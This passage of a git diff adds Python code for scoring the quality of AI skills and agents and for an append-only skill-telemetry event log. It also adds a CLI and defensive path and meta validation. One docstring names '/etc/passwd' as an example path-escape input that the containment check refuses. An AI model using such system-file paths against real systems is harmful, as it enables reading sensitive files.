+        list(sources.events_index.get(slug, []))
+        if sources.events_index is not None
+        else None
+    )
+    tel_inputs = _compute_telemetry_inputs(
+        slug,
+        sources.events_path,
+        now=ts,
+        recent_window_days=cfg.recent_window_days,
+        events_override=events_override,
+    )
+    tel = telemetry_signal(
+        load_count=tel_inputs["load_count"],
+        recent_load_count=tel_inputs["recent_load_count"],
+        last_load_age_days=tel_inputs["last_load_age_days"],
+        stale_threshold_days=cfg.stale_threshold_days,
+    )
+
+    intake = intake_signal(
+        raw_md,
+        frontmatter=fm,
+        has_frontmatter_block=has_fm_block,
+        body=body,
+        min_body_chars=cfg.min_body_chars,
+    )
+
+    graph_inputs = _compute_graph_inputs(slug, subject_type, sources.graph_index)
+    graph = graph_signal(
+        degree=graph_inputs["degree"],
+        avg_edge_weight=graph_inputs["avg_edge_weight"],
+    )
+
+    routing_inputs = _compute_routing_inputs(slug, sources.router_trace_path)
+    routing = routing_signal(
+        considered=routing_inputs["considered"],
+        picked=routing_inputs["picked"],
+    )
+
+    return subject_type, {
+        "telemetry": tel,
+        "intake": intake,
+        "graph": graph,
+        "routing": routing,
+    }
+
+
+# ────────────────────────────────────────────────────────────────────
+# Persistence (three sinks)
+# ────────────────────────────────────────────────────────────────────
+
+
+_QUALITY_SECTION_HEADER = "## Quality"
+_QUALITY_SECTION_BEGIN = ""
+_QUALITY_SECTION_END = ""
+
+
+def _render_quality_section(score: QualityScore) -> str:
+    """Build the ``## Quality`` block injected into the wiki entity page."""
+    lines: list[str] = [
+        _QUALITY_SECTION_BEGIN,
+        _QUALITY_SECTION_HEADER,
+        "",
+        f"- **Grade:** {score.grade}",
+        f"- **Score:** {score.score:.2f} "
+        f"(raw {score.raw_score:.2f})",
+        f"- **Computed:** {score.computed_at}",
+    ]
+    if score.hard_floor:
+        lines.append(f"- **Hard floor:** `{score.hard_floor}`")
+    lines.append("")
+    lines.append("| Signal | Score | Weight |")
+    lines.append("| --- | --- | --- |")
+    for name in ("telemetry", "intake", "graph", "routing"):
+        sig = score.signals[name]
+        w = score.weights.get(name, 0.0)
+        lines.append(f"| {name} | {sig.score:.2f} | {w:.2f} |")
+    lines.append("")
+    lines.append(_QUALITY_SECTION_END)
+    return "\n".join(lines)
+
+
+_QUALITY_BLOCK_RE = re.compile(
+    re.escape(_QUALITY_SECTION_BEGIN)
+    + r".*?"
+    + re.escape(_QUALITY_SECTION_END),
+    re.DOTALL,
+)
+
+
+def _inject_quality_section(body: str, block: str) -> str:
+    """Replace any existing ``## Quality`` block, else append."""
+    if _QUALITY_BLOCK_RE.search(body):
+        return _QUALITY_BLOCK_RE.sub(block, body, count=1)
+    sep = "" if body.endswith("\n") else "\n"
+    return body + sep + "\n" + block + "\n"
+
+
+def _update_frontmatter_quality(raw_md: str, score: QualityScore) -> str:
+    """Update ``quality_*`` keys in the frontmatter; preserve other keys.
+
+    Keeps the edit surgical: we don't re-emit the whole frontmatter with
+    a YAML library because that would normalize quoting/ordering and
+    blow up diffs every time the score changes.
+    """
+    if not raw_md.startswith("---"):
+        return raw_md
+    end_idx = raw_md.find("\n---", 3)
+    if end_idx == -1:
+        return raw_md
+    fm_block = raw_md[3 : end_idx + 1]
+    after_fm = raw_md[end_idx + 4 :]
+
+    pairs: list[str] = [
+        f"quality_score: {score.score:.4f}",
+        f"quality_grade: {score.grade}",
+        f"quality_updated_at: {score.computed_at}",
+    ]
+    if score.hard_floor:
+        pairs.append(f"quality_hard_floor: {score.hard_floor}")
+    else:
+        # Explicitly clear the key if it existed before — prevents a
+        # stale floor label from sticking around after the condition
+        # clears.
+        pairs.append("quality_hard_floor: ")
+
+    lines = fm_block.splitlines()
+    kept: list[str] = [
+        ln for ln in lines if not ln.lstrip().startswith(
+            ("quality_score:", "quality_grade:", "quality_updated_at:",
+             "quality_hard_floor:")
+        )
+    ]
+    # Drop trailing blanks from the kept block, then re-append our pairs.
+    while kept and not kept[-1].strip():
+        kept.pop()
+    new_fm = "\n".join(kept + pairs)
+
+    return "---" + "\n" + new_fm + "\n---" + after_fm
+
+
+@runtime_checkable
+class QualitySink(Protocol):
+    """Write a ``QualityScore`` to one persistence destination.
+
+    Each concrete sink is responsible for exactly one storage target:
+    the sidecar JSON file, the wiki entity frontmatter, or the wiki body
+    section.  ``persist_quality`` iterates over the active list of sinks.
+    """
+
+    def write(self, score: QualityScore) -> Path | None:
+        """Persist ``score`` and return the path written, or ``None`` if skipped."""
+        ...
+
+
+class SidecarSink:
+    """Sink 1 — ``~/.claude/skill-quality/.json`` (canonical machine form)."""
+
+    def __init__(self, sidecar_dir: Path | None = None) -> None:
+        self._sidecar_dir = sidecar_dir
+
+    def write(self, score: QualityScore) -> Path | None:
+        path = sidecar_path(score.slug, sidecar_dir=self._sidecar_dir)
+        _atomic_write(
+            path,
+            json.dumps(score.to_dict(), indent=2, sort_keys=True, ensure_ascii=False),
+        )
+        return path
+
+
+class WikiFrontmatterSink:
+    """Sink 2 — ``quality_*`` keys in the wiki entity page frontmatter."""
+
+    def __init__(self, wiki_dir: Path) -> None:
+        self._wiki_dir = wiki_dir
+
+    def _entity_path(self, score: QualityScore) -> Path:
+        entity_subdir = "skills" if score.subject_type == "skill" else "agents"
+        return self._wiki_dir / "entities" / entity_subdir / f"{score.slug}.md"
+
+    def write(self, score: QualityScore) -> Path | None:
+        entity_path = self._entity_path(score)
+        if not entity_path.is_file():
+            _logger.info(
+                "skill_quality: no wiki page at %s; frontmatter sink skipped",
+                entity_path,
+            )
+            return None
+        raw = entity_path.read_text(encoding="utf-8", errors="replace")
+        updated = _update_frontmatter_quality(raw, score)
+        _atomic_write(entity_path, updated)
+        return entity_path
+
+
+class WikiBodySink:
+    """Sink 3 — ``## Quality`` section in the wiki entity page body."""
+
+    def __init__(self, wiki_dir: Path) -> None:
+        self._wiki_dir = wiki_dir
+
+    def _entity_path(self, score: QualityScore) -> Path:
+        entity_subdir = "skills" if score.subject_type == "skill" else "agents"
+        return self._wiki_dir / "entities" / entity_subdir / f"{score.slug}.md"
+
+    def write(self, score: QualityScore) -> Path | None:
+        entity_path = self._entity_path(score)
+        if not entity_path.is_file():
+            return None
+        raw = entity_path.read_text(encoding="utf-8", errors="replace")
+        fm_end = raw.find("\n---", 3)
+        if fm_end == -1:
+            header, body = "", raw
+        else:
+            header = raw[: fm_end + 4]
+            body = raw[fm_end + 4 :]
+        new_body = _inject_quality_section(body, _render_quality_section(score))
+        _atomic_write(entity_path, header + new_body)
+        return entity_path
+
+
+def persist_quality(
+    score: QualityScore,
+    *,
+    sources: SignalSources,
+    sidecar_dir: Path | None = None,
+    update_frontmatter: bool = True,
+) -> dict[str, Path]:
+    """Write the quality result to the three on-disk sinks.
+
+    The knowledge-graph node-attribute is a separate consumer path:
+    ``wiki_graphify`` reads the sidecar JSON that this function produced
+    on its next build.
+
+    Returns a mapping of sink-name → Path that was written, for the CLI
+    to report back to the user.
+    """
+    written: dict[str, Path] = {}
+
+    sidecar_result = SidecarSink(sidecar_dir).write(score)
+    if sidecar_result is not None:
+        written["sidecar"] = sidecar_result
+
+    if not update_frontmatter:
+        return written
+
+    fm_result = WikiFrontmatterSink(sources.wiki_dir).write(score)
+    if fm_result is not None:
+        written["frontmatter"] = fm_result
+
+    body_result = WikiBodySink(sources.wiki_dir).write(score)
+    if body_result is not None:
+        written["wiki_body"] = body_result
+
+    # Best-effort audit: one line per score refresh so postmortem
+    # scripts can trace why a sidecar changed at a specific instant.
+    # Session attribution comes from ``CTX_SESSION_ID`` in the env —
+    # quality_on_session_end.py exports this before invoking recompute
+    # so the monitor's per-session timeline can filter by session_id.
+    try:
+        from ctx_audit_log import log  # local import, no CLI dep
+        subject_type: Literal["skill", "agent"] = (
+            "agent" if score.subject_type == "agent" else "skill"
+        )
+        event = f"{subject_type}.score_updated"
+        log(
+            event, subject_type=subject_type, subject=score.slug,
+            actor="hook",
+            session_id=os.environ.get("CTX_SESSION_ID"),
+            meta={
+                "grade": score.grade,
+                "raw_score": round(score.raw_score, 4),
+                "hard_floor": score.hard_floor,
+            },
+        )
+    except Exception:  # noqa: BLE001 — audit must never break scoring
+        pass
+
+    return written
+
+
+def load_quality(
+    slug: str, *, sidecar_dir: Path | None = None
+) -> QualityScore | None:
+    """Read back a previously-persisted ``QualityScore`` from disk.
+
+    Returns ``None`` if no sidecar exists. Partial / corrupt files raise
+    ``json.JSONDecodeError`` or ``ValueError`` — the caller decides
+    whether to skip or re-compute.
+    """
+    path = sidecar_path(slug, sidecar_dir=sidecar_dir)
+    if not path.is_file():
+        return None
+    data = json.loads(path.read_text(encoding="utf-8"))
+    signals: dict[str, SignalResult] = {}
+    for name, payload in data.get("signals", {}).items():
+        signals[name] = SignalResult(
+            score=float(payload.get("score", 0.0)),
+            evidence=dict(payload.get("evidence", {})),
+        )
+    return QualityScore(
+        slug=data["slug"],
+        subject_type=data.get("subject_type", "skill"),
+        raw_score=float(data.get("raw_score", 0.0)),
+        score=float(data.get("score", 0.0)),
+        grade=data.get("grade", "D"),
+        hard_floor=data.get("hard_floor"),
+        signals=signals,
+        weights=dict(data.get("weights", {})),
+        computed_at=data.get("computed_at", ""),
+    )
+
+
+# ────────────────────────────────────────────────────────────────────
+# High-level orchestration
+# ────────────────────────────────────────────────────────────────────
+
+
+def recompute_slug(
+    slug: str,
+    *,
+    sources: SignalSources,
+    config: QualityConfig | None = None,
+    now: datetime | None = None,
+    sidecar_dir: Path | None = None,
+    update_frontmatter: bool = True,
+) -> QualityScore:
+    """End-to-end recompute: extract signals → compute → persist."""
+    subject_type, signals = extract_signals_for_slug(
+        slug, sources=sources, config=config, now=now
+    )
+    score = compute_quality(
+        slug=slug,
+        subject_type=subject_type,
+        signals=signals,
+        config=config,
+        computed_at=(now or datetime.now(timezone.utc)).isoformat(timespec="seconds"),
+    )
+    persist_quality(
+        score,
+        sources=sources,
+        sidecar_dir=sidecar_dir,
+        update_frontmatter=update_frontmatter,
+    )
+    return score
+
+
+def discover_slugs(sources: SignalSources) -> list[tuple[str, str]]:
+    """Enumerate every (subject_type, slug) on disk, deduped, sorted."""
+    out: dict[str, str] = {}
+    if sources.skills_dir.is_dir():
+        for entry in sorted(sources.skills_dir.iterdir()):
+            if entry.is_dir() and (entry / "SKILL.md").is_file():
+                slug = entry.name
+                if _SLUG_RE.match(slug):
+                    out[slug] = "skill"
+    if sources.agents_dir.is_dir():
+        for entry in sorted(sources.agents_dir.glob("*.md")):
+            slug = entry.stem
+            if _SLUG_RE.match(slug) and slug not in out:
+                out[slug] = "agent"
+    return [(subject, slug) for slug, subject in out.items()]
+
+
+_EVENTS_INDEX_SIZE_THRESHOLD = 100 * 1024 * 1024  # 100 MB
+
+
+def _build_events_index(
+    events_path: Path,
+) -> dict[str, list[dict[str, Any]]]:
+    """Read ``events_path`` once and return a ``{slug: [events]}`` map.
+
+    For a JSONL file under 100 MB the entire file is read into memory so
+    that ``recompute_all`` can hand each slug its pre-filtered event list
+    instead of re-scanning the file N times.
+
+    For files over 100 MB the same line-by-line approach is used but with
+    a ``defaultdict`` to keep peak memory proportional to distinct slugs
+    rather than total file size.
+    """
+    from collections import defaultdict
+
+    index: dict[str, list[dict[str, Any]]] = defaultdict(list)
+    if not events_path.is_file():
+        return {}
+    try:
+        with events_path.open(encoding="utf-8") as fh:
+            for raw in fh:
+                line = raw.strip()
+                if not line:
+                    continue
+                try:
+                    obj = json.loads(line)
+                except json.JSONDecodeError:
+                    continue
+                if isinstance(obj, dict):
+                    slug = obj.get("skill")
+                    if isinstance(slug, str) and slug:
+                        index[slug].append(obj)
+    except OSError:
+        return {}
+    return dict(index)
+
+
+def recompute_all(
+    *,
+    sources: SignalSources,
+    config: QualityConfig | None = None,
+    now: datetime | None = None,
+    sidecar_dir: Path | None = None,
+    update_frontmatter: bool = True,
+) -> tuple[list[QualityScore], list[tuple[str, Exception]]]:
+    """Recompute every discovered slug, reading the events JSONL once.
+
+    Returns ``(successes, failures)`` where failures is a list of
+    ``(slug, exception)`` pairs.  The JSONL is read once and the
+    resulting ``events_index`` is injected into ``sources`` so each
+    per-slug call to ``_compute_telemetry_inputs`` reads from memory
+    rather than re-scanning the file.
+    """
+    slug_pairs = discover_slugs(sources)
+    events_index = _build_events_index(sources.events_path)
+    # Inject the pre-built index into a new SignalSources instance.
+    from dataclasses import replace as _dc_replace
+    indexed_sources = _dc_replace(sources, events_index=events_index)
+
+    successes: list[QualityScore] = []
+    failures: list[tuple[str, Exception]] = []
+    for _subject_type, slug in slug_pairs:
+        try:
+            score = recompute_slug(
+                slug,
+                sources=indexed_sources,
+                config=config,
+                now=now,
+                sidecar_dir=sidecar_dir,
+                update_frontmatter=update_frontmatter,
+            )
+            successes.append(score)
+        except (FileNotFoundError, ValueError, OSError) as exc:
+            failures.append((slug, exc))
+    return successes, failures
+
+
+# ────────────────────────────────────────────────────────────────────
+# CLI
+# ────────────────────────────────────────────────────────────────────
+
+
+def _build_sources_from_config() -> SignalSources:
+    """Construct SignalSources from ``ctx_config.cfg`` for CLI invocations."""
+    from ctx_config import cfg  # local import: avoid cost on unit-test import
+    quality_raw = cfg.get("quality", {}) or {}
+    paths = quality_raw.get("paths", {}) if isinstance(quality_raw, dict) else {}
+    trace_path_raw = paths.get("router_trace") if isinstance(paths, dict) else None
+    trace_path = (
+        Path(os.path.expanduser(trace_path_raw))
+        if isinstance(trace_path_raw, str) and trace_path_raw
+        else None
+    )
+    events_path = Path(os.path.expanduser("~/.claude/skill-events.jsonl"))
+    return SignalSources(
+        skills_dir=cfg.skills_dir,
+        agents_dir=cfg.agents_dir,
+        wiki_dir=cfg.wiki_dir,
+        events_path=events_path,
+        router_trace_path=trace_path,
+    )
+
+
+def _config_from_cfg() -> QualityConfig:
+    """Build QualityConfig from ``ctx_config.cfg``'s ``quality`` block."""
+    from ctx_config import cfg
+    quality_raw = cfg.get("quality", {}) or {}
+    if not isinstance(quality_raw, dict):
+        return QualityConfig()
+    weights = quality_raw.get("weights")
+    agent_weights = quality_raw.get("agent_weights")
+    thresholds = quality_raw.get("grade_thresholds")
+    stale = quality_raw.get("stale_threshold_days")
+    recent = quality_raw.get("recent_window_days")
+    min_body = quality_raw.get("min_body_chars")
+
+    kwargs: dict[str, Any] = {}
+    if isinstance(weights, dict) and weights:
+        kwargs["weights"] = {k: float(v) for k, v in weights.items()}
+    if isinstance(agent_weights, dict) and agent_weights:
+        kwargs["agent_weights"] = {k: float(v) for k, v in agent_weights.items()}
+    if isinstance(thresholds, dict) and thresholds:
+        kwargs["grade_thresholds"] = {k: float(v) for k, v in thresholds.items()}
+    if isinstance(stale, (int, float)):
+        kwargs["stale_threshold_days"] = float(stale)
+    if isinstance(recent, (int, float)):
+        kwargs["recent_window_days"] = float(recent)
+    if isinstance(min_body, int):
+        kwargs["min_body_chars"] = min_body
+    return QualityConfig(**kwargs)
+
+
+def cmd_recompute(args: argparse.Namespace) -> int:
+    sources = _build_sources_from_config()
+    cfg = _config_from_cfg()
+
+    results: list[dict[str, Any]] = []
+    failures = 0
+
+    if args.all:
+        # O(M) single JSONL scan shared across all N slugs.
+        scores, errs = recompute_all(sources=sources, config=cfg)
+        results = [s.to_dict() for s in scores]
+        failures = len(errs)
+        for slug, exc in errs:
+            print(f"[recompute] {slug}: {exc}", file=sys.stderr)
+    else:
+        slugs: list[str]
+        if args.slugs_positional:
+            slugs = list(args.slugs_positional)
+        elif args.slugs:
+            slugs = [s for s in args.slugs.split(",") if s.strip()]
+        elif args.slug:
+            slugs = [args.slug]
+        else:
+            print("recompute: pass one or more SLUG positionals, --all, "
+                  "--slugs, or --slug", file=sys.stderr)
+            return 2
+
+        for slug in slugs:
+            try:
+                score = recompute_slug(slug, sources=sources, config=cfg)
+                results.append(score.to_dict())
+            except (FileNotFoundError, ValueError, OSError) as exc:
+                failures += 1
+                print(f"[recompute] {slug}: {exc}", file=sys.stderr)
+
+    if args.json:
+        print(json.dumps({"count": len(results), "failures": failures,
+                          "results": results}, indent=2))
+    else:
+        for r in results:
+            print(f"{r['grade']}  {r['slug']:<40} score={r['score']:.2f}"
+                  + (f"  floor={r['hard_floor']}" if r['hard_floor'] else ""))
+        print(f"{len(results)} recomputed, {failures} failed", file=sys.stderr)
+    return 0 if failures == 0 else 1
+
+
+def cmd_show(args: argparse.Namespace) -> int:
+    loaded = load_quality(args.slug)
+    if loaded is None:
+        print(f"no sidecar for {args.slug!r} (run recompute first)", file=sys.stderr)
+        return 1
+    if args.json:
+        print(json.dumps(loaded.to_dict(), indent=2))
+    else:
+        print(f"{loaded.slug} ({loaded.subject_type})")
+        print(f"  grade: {loaded.grade}")
+        print(f"  score: {loaded.score:.2f} (raw {loaded.raw_score:.2f})")
+        print(f"  floor: {loaded.hard_floor or '—'}")
+        print(f"  computed: {loaded.computed_at}")
+    return 0
+
+
+def cmd_explain(args: argparse.Namespace) -> int:
+    loaded = load_quality(args.slug)
+    if loaded is None:
+        print(f"no sidecar for {args.slug!r} (run recompute first)", file=sys.stderr)
+        return 1
+    print(f"{loaded.slug} ({loaded.subject_type}) — grade {loaded.grade}")
+    print(f"  raw={loaded.raw_score:.4f}  score={loaded.score:.4f}"
+          f"  floor={loaded.hard_floor or '—'}")
+    print("")
+    for name in ("telemetry", "intake", "graph", "routing"):
+        sig = loaded.signals.get(name)
+        w = loaded.weights.get(name, 0.0)
+        if sig is None:
+            print(f"  {name}: MISSING")
+            continue
+        print(f"  {name}: score={sig.score:.2f} weight={w:.2f}")
+        for k, v in sig.evidence.items():
+            print(f"    {k}: {v}")
+    return 0
+
+
+def cmd_list(args: argparse.Namespace) -> int:
+    sidecar_dir = default_sidecar_dir()
+    if not sidecar_dir.is_dir():
+        print("no quality data yet (run recompute --all)", file=sys.stderr)
+        return 0
+
+    rows: list[dict[str, Any]] = []
+    for p in sorted(sidecar_dir.glob("*.json")):
+        # Skip lifecycle sidecars written by ctx_lifecycle — they use the
+        # pattern .lifecycle.json and lack a quality_grade field.
+        if p.name.endswith(".lifecycle.json"):
+            continue
+        try:
+            data = json.loads(p.read_text(encoding="utf-8"))
+        except (json.JSONDecodeError, OSError):
+            continue
+        if "quality_grade" not in data and "grade" not in data:
+            # Defensive: skip any sidecar that lacks both grade fields.
+            continue
+        rows.append(data)
+
+    if args.grade:
+        rows = [r for r in rows if r.get("grade") == args.grade]
+
+    if args.json:
+        print(json.dumps(rows, indent=2))
+    else:
+        for r in sorted(rows, key=lambda x: (x.get("grade", "Z"), x.get("slug", ""))):
+            print(f"{r.get('grade', '?')}  {r.get('slug', '?'):<40} "
+                  f"score={float(r.get('score', 0)):.2f}")
+        print(f"{len(rows)} entries", file=sys.stderr)
+    return 0
+
+
+def build_argparser() -> argparse.ArgumentParser:
+    p = argparse.ArgumentParser(
+        prog="skill_quality",
+        description="Score + persist quality for installed skills and agents.",
+    )
+    sub = p.add_subparsers(dest="cmd", required=True)
+
+    r = sub.add_parser("recompute", help="Recompute quality for one or more slugs")
+    r.add_argument("slugs_positional", nargs="*", metavar="SLUG",
+                   help="one or more slugs to recompute (positional)")
+    r.add_argument("--all", action="store_true", help="recompute every installed slug")
+    r.add_argument("--slug", help="recompute a single slug")
+    r.add_argument("--slugs", help="comma-separated list of slugs")
+    r.add_argument("--json", action="store_true", help="emit JSON result")
+    r.set_defaults(func=cmd_recompute)
+
+    s = sub.add_parser("show", help="Show the persisted score for a slug")
+    s.add_argument("slug")
+    s.add_argument("--json", action="store_true")
+    s.set_defaults(func=cmd_show)
+
+    e = sub.add_parser("explain", help="Print signal breakdown + evidence")
+    e.add_argument("slug")
+    e.set_defaults(func=cmd_explain)
+
+    ls = sub.add_parser("list", help="List every slug with its grade")
+    ls.add_argument("--grade", help="filter by grade (A/B/C/D/F)")
+    ls.add_argument("--json", action="store_true")
+    ls.set_defaults(func=cmd_list)
+
+    return p
+
+
+def main(argv: list[str] | None = None) -> int:
+    parser = build_argparser()
+    args = parser.parse_args(argv)
+    return int(args.func(args))
+
+
+if __name__ == "__main__":
+    sys.exit(main())
+
+
+__all__ = [
+    "QualityConfig",
+    "QualityScore",
+    "QualitySink",
+    "SidecarSink",
+    "SignalSources",
+    "WikiBodySink",
+    "WikiFrontmatterSink",
+    "compute_quality",
+    "default_sidecar_dir",
+    "discover_slugs",
+    "extract_signals_for_slug",
+    "load_quality",
+    "main",
+    "persist_quality",
+    "recompute_all",
+    "recompute_slug",
+    "sidecar_path",
+]
diff --git a/src/skill_telemetry.py b/src/skill_telemetry.py
new file mode 100644
index 0000000000000000000000000000000000000000..e64a69ffacca3264016e32df8be0603c8fb92a76
--- /dev/null
+++ b/src/skill_telemetry.py
@@ -0,0 +1,305 @@
+#!/usr/bin/env python3
+"""
+skill_telemetry.py -- Append-only event stream for skill/agent lifecycle.
+
+Phase 1 of the skill-quality-scoring plan: captures raw load / unload /
+override / switch_away events to a JSONL stream so later phases can
+score behavioural signals. Read-only capture; no scoring, no
+enforcement.
+
+Events:
+  - load         skill was loaded into the session manifest
+  - unload       skill was explicitly unloaded
+  - override     user overrode a skill suggestion (demoted or replaced)
+  - switch_away  skill was loaded but the user moved to a different one
+
+Storage: ~/.claude/skill-events.jsonl (append-only JSONL).
+Concurrent writers are serialized via _file_lock.file_lock.
+
+Retention helper:
+  retention_window_seconds(session_seconds)
+    = max(session_fraction * session_seconds, min_minutes * 60)
+
+  is_retained(load_ts, unload_ts, session_seconds)
+    returns True iff (unload - load) >= retention_window_seconds.
+"""
+
+from __future__ import annotations
+
+import json
+import logging
+import os
+import re
+import sys
+from dataclasses import asdict, dataclass, field
+from datetime import datetime, timezone
+from pathlib import Path
+from typing import Any, Iterator, Mapping
+
+from ctx.utils._file_lock import file_lock
+
+_logger = logging.getLogger(__name__)
+
+EVENT_TYPES = frozenset({"load", "unload", "override", "switch_away"})
+
+# Same policy as wiki_utils.SAFE_NAME_RE: alnum start, alnum / _ / - / .
+# inside, bounded length. Dots are allowed intentionally for names like
+# "python3.11-patterns"; the bounded quantifier keeps the regex linear
+# under pathological input (no ReDoS).
+_SKILL_NAME_RE = re.compile(r"^[a-zA-Z0-9][a-zA-Z0-9_\-\.]{0,127}$")
+
+DEFAULT_EVENTS_PATH = Path(os.path.expanduser("~/.claude/skill-events.jsonl"))
+_ALLOWED_EVENTS_DIR = DEFAULT_EVENTS_PATH.parent.resolve()
+# Trusted root for path containment checks in _resolve_events_path.
+# Tests may override this per-call via the ``trusted_root`` kwarg so they
+# can write to pytest tmp_path without relaxing the production constraint.
+_TRUSTED_ROOT = DEFAULT_EVENTS_PATH.parent.resolve()
+DEFAULT_SESSION_FRACTION = 0.20
+DEFAULT_MIN_RETENTION_MIN = 20.0
+
+# Bounds on caller-supplied meta dicts. Keeps the log line small and
+# prevents inadvertent leakage of large mappings like ``os.environ``
+# (which would spill every env var — API keys included — into a
+# world-readable file on disk).
+_MAX_META_KEYS = 20
+_MAX_META_VALUE_LEN = 512
+_META_SCALAR_TYPES: tuple[type, ...] = (str, int, float, bool, type(None))
+
+
+@dataclass(frozen=True)
+class TelemetryEvent:
+    """One immutable skill-lifecycle event."""
+
+    event: str
+    skill: str
+    timestamp: str
+    session_id: str
+    event_id: str
+    meta: Mapping[str, Any] = field(default_factory=dict)
+
+    def __post_init__(self) -> None:
+        if self.event not in EVENT_TYPES:
+            raise ValueError(
+                f"invalid event type {self.event!r}; expected one of {sorted(EVENT_TYPES)}"
+            )
+        if not isinstance(self.skill, str) or not _SKILL_NAME_RE.match(self.skill):
+            raise ValueError(f"invalid skill name: {self.skill!r}")
+        if not isinstance(self.session_id, str) or not self.session_id:
+            raise ValueError("session_id must be a non-empty string")
+        if not isinstance(self.event_id, str) or not self.event_id:
+            raise ValueError("event_id must be a non-empty string")
+        # timestamp must parse as ISO-8601 so downstream readers don't choke
+        try:
+            datetime.fromisoformat(self.timestamp)
+        except ValueError as exc:
+            raise ValueError(f"timestamp must be ISO-8601: {self.timestamp!r}") from exc
+
+
+def _now_iso() -> str:
+    return datetime.now(timezone.utc).isoformat(timespec="seconds")
+
+
+def _new_event_id() -> str:
+    import uuid
+
+    return uuid.uuid4().hex
+
+
+def _validate_meta(meta: Mapping[str, Any]) -> None:
+    """Reject meta dicts that could leak secrets or bloat the log.
+
+    Keeps validation shallow on purpose — nested mappings are rejected
+    outright rather than walked, since callers supplying nested state
+    are almost always doing something they should think twice about.
+    """
+    if len(meta) > _MAX_META_KEYS:
+        raise ValueError(
+            f"meta has {len(meta)} keys; max {_MAX_META_KEYS}"
+        )
+    for k, v in meta.items():
+        if not isinstance(k, str):
+            raise TypeError(f"meta key must be str: {k!r}")
+        if not isinstance(v, _META_SCALAR_TYPES):
+            raise TypeError(
+                f"meta value for {k!r} must be str/int/float/bool/None, "
+                f"got {type(v).__name__}"
+            )
+        if isinstance(v, str) and len(v) > _MAX_META_VALUE_LEN:
+            raise ValueError(
+                f"meta value for {k!r} exceeds {_MAX_META_VALUE_LEN} chars"
+            )
+
+
+def _resolve_events_path(
+    path: Path | None,
+    *,
+    trusted_root: Path = _TRUSTED_ROOT,
+) -> Path:
+    """Resolve the events-file path and refuse anything outside the trusted root.
+
+    The trusted root defaults to ``~/.claude/`` (the parent of
+    ``DEFAULT_EVENTS_PATH``). Tests that write to ``tmp_path`` should pass
+    ``trusted_root=tmp_path`` so they don't need to live under ``~/.claude/``.
+
+    Defence layers, applied in order:
+      1. ``..`` segment check — catches unresolved traversal in the raw path.
+      2. ``resolve()`` + ``relative_to()`` — catches absolute escapes such as
+         ``Path("/etc/passwd")`` or ``Path("C:/Windows/Temp/x")`` that don't
+         contain ``..`` but still land outside the trusted root.
+    """
+    if path is None:
+        return DEFAULT_EVENTS_PATH
+    target = Path(path)
+    # Layer 1: refuse unresolved traversal segments.
+    if ".." in target.parts:
+        raise ValueError(f"path escapes its parent directory: {target}")
+    # Layer 2: after resolving symlinks / absolute components, verify the
+    # target still lives inside the trusted root.
+    resolved = target.resolve()
+    try:
+        resolved.relative_to(trusted_root)
+    except ValueError:
+        raise ValueError(
+            f"path escapes trusted root {trusted_root}: {path}"
+        )
+    return target
+
+
+def log_event(
+    event: str,
+    skill: str,
+    session_id: str,
+    *,
+    meta: Mapping[str, Any] | None = None,
+    path: Path | None = None,
+    trusted_root: Path = _TRUSTED_ROOT,
+) -> TelemetryEvent:
+    """Append a single event to the JSONL stream.
+
+    Returns the event that was written (callers stash ``event_id`` to
+    pair a later unload with its load).
+
+    ``trusted_root`` is forwarded to ``_resolve_events_path``; tests that
+    write to ``tmp_path`` should pass ``trusted_root=tmp_path``.
+    """
+    target = _resolve_events_path(path, trusted_root=trusted_root)
+    target.parent.mkdir(parents=True, exist_ok=True)
+
+    safe_meta: dict[str, Any] = dict(meta or {})
+    _validate_meta(safe_meta)
+
+    record = TelemetryEvent(
+        event=event,
+        skill=skill,
+        timestamp=_now_iso(),
+        session_id=session_id,
+        event_id=_new_event_id(),
+        meta=safe_meta,
+    )
+    line = json.dumps(asdict(record), ensure_ascii=False, sort_keys=True) + "\n"
+
+    with file_lock(target):
+        with open(target, "a", encoding="utf-8") as fh:
+            fh.write(line)
+    return record
+
+
+def read_events(
+    path: Path | None = None,
+    *,
+    trusted_root: Path = _TRUSTED_ROOT,
+) -> Iterator[TelemetryEvent]:
+    """Yield every event from the JSONL stream in on-disk order.
+
+    Malformed lines — including records missing required fields such as
+    ``event_id`` — are skipped with a warning. Append-only storage
+    should not need editing, but a crash mid-write can leave a partial
+    trailing line, so iteration must survive that. Warnings use only
+    the exception type name so malformed input can't spoof stderr with
+    embedded CR/LF or forged log-line content.
+
+    ``trusted_root`` is forwarded to ``_resolve_events_path``; tests that
+    read from ``tmp_path`` should pass ``trusted_root=tmp_path``.
+    """
+    target = _resolve_events_path(path, trusted_root=trusted_root)
+    try:
+        fh = open(target, encoding="utf-8")
+    except FileNotFoundError:
+        return
+    with fh:
+        for ln, raw in enumerate(fh, start=1):
+            line = raw.strip()
+            if not line:
+                continue
+            try:
+                obj = json.loads(line)
+                yield TelemetryEvent(
+                    event=obj["event"],
+                    skill=obj["skill"],
+                    timestamp=obj["timestamp"],
+                    session_id=obj["session_id"],
+                    event_id=obj["event_id"],
+                    meta=obj.get("meta", {}),
+                )
+            except (json.JSONDecodeError, KeyError, ValueError, TypeError) as exc:
+                msg = (
+                    f"skill_telemetry: skipping malformed event at line {ln} "
+                    f"({type(exc).__name__})"
+                )
+                _logger.warning(msg)
+                # Also emit to stderr so CLI users see it without needing
+                # to configure a logging handler. Message is sanitised:
+                # only the exception class name is included, never raw
+                # line content or attacker-controlled strings.
+                print(msg, file=sys.stderr)
+
+
+def retention_window_seconds(
+    session_seconds: float,
+    *,
+    fraction: float = DEFAULT_SESSION_FRACTION,
+    min_minutes: float = DEFAULT_MIN_RETENTION_MIN,
+) -> float:
+    """Per plan: max(fraction * session, min_minutes * 60)."""
+    if session_seconds < 0:
+        raise ValueError("session_seconds must be >= 0")
+    if not 0.0 <= fraction <= 1.0:
+        raise ValueError("fraction must be in [0, 1]")
+    if min_minutes < 0:
+        raise ValueError("min_minutes must be >= 0")
+    return max(fraction * session_seconds, min_minutes * 60.0)
+
+
+def _parse_iso_utc(ts: str) -> datetime:
+    """Parse an ISO-8601 timestamp, treating naive values as UTC.
+
+    Accepting naive timestamps keeps ``is_retained`` robust when the
+    event log has been edited by hand or written by an older version of
+    the library. Without this, comparing a naive and an aware timestamp
+    raises ``TypeError`` mid-computation — an unfriendly failure mode
+    for read-path tooling.
+    """
+    parsed = datetime.fromisoformat(ts)
+    if parsed.tzinfo is None:
+        return parsed.replace(tzinfo=timezone.utc)
+    return parsed.astimezone(timezone.utc)
+
+
+def is_retained(
+    load_ts: str,
+    unload_ts: str,
+    session_seconds: float,
+    *,
